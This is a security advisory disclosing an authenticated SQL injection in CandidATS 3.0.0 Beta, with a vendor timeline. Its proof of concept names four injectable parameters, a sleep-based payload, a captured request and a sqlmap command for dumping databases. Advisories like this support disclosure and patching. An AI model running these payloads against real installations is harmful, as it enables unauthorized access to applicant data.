CandidATS 3.0.0 - Authenticated SQL Injection
Summary
Name | CandidATS 3.0.0 - Authenticated SQL Injection |
Code name | |
Product | CandidATS |
Affected versions | Version 3.0.0 Beta (Pilava Beta) |
State | Public |
Release date | 2022-07-19 |
Vulnerability
Kind | SQL injection |
Rule | |
Remote | Yes |
CVSSv3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L |
CVSSv3.1 Base Score | 6.3 |
Exploit available | No |
CVE ID(s) |
Description
CandidATS Version 3.0.0 Beta allows an authenticated user to inject SQL queries in /index.php?m=settings&a=show
via the userID
parameter, in /index.php?m=candidates&a=show
via the candidateID
, in /index.php?m=joborders&a=show
via the jobOrderID
and /index.php?m=companies&a=show
via the companyID
parameter
Proof of Concept
-
Log in to CandidATS with a user who has permissions to read job orders, candidates or companies.
-
Go to
index.php?m=joborders
(or any of the option above). -
Uncheck the
Only My Companies
option. -
Select any of the items listed and intercept the request with BurpSuite.
-
It is possible to inject sql sentences inside the companyID parameter, for example, the following request will make the database sleep for 5 seconds.
GET /candidATS/index.php?m=companies&a=show&companyID=2+or+sleep(5) HTTP/1.1
- Save the intercepted request into a file.
GET /candidATS/index.php?m=companies&a=show&companyID=2 HTTP/1.1
Host: 172.16.28.136
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: CATS=dji5p76l4ajdpubegkt552ma9n
Upgrade-Insecure-Requests: 1
- Run the following command from sqlmap in order to extract information from the database.
$ sqlmap -r companyId.req -p companyID --dbs --batch
Exploit
It is possible to use sqlmap in order to extract information from the database
Mitigation
This information will be released later according to our Responsible Disclosure Policy.
Credits
The vulnerability was discovered by Oscar Uribe from the Offensive Team of Fluid Attacks.
References
Vendor page https://candidats.net/forums/
Timeline
2022-04-19
Vulnerability discovered.
2022-04-19
Vendor contacted.
2022-04-20
Vendor replied acknowledging the report.
2022-04-20
Vendor Confirmed the vulnerability.
2022-07-19
Public Disclosure.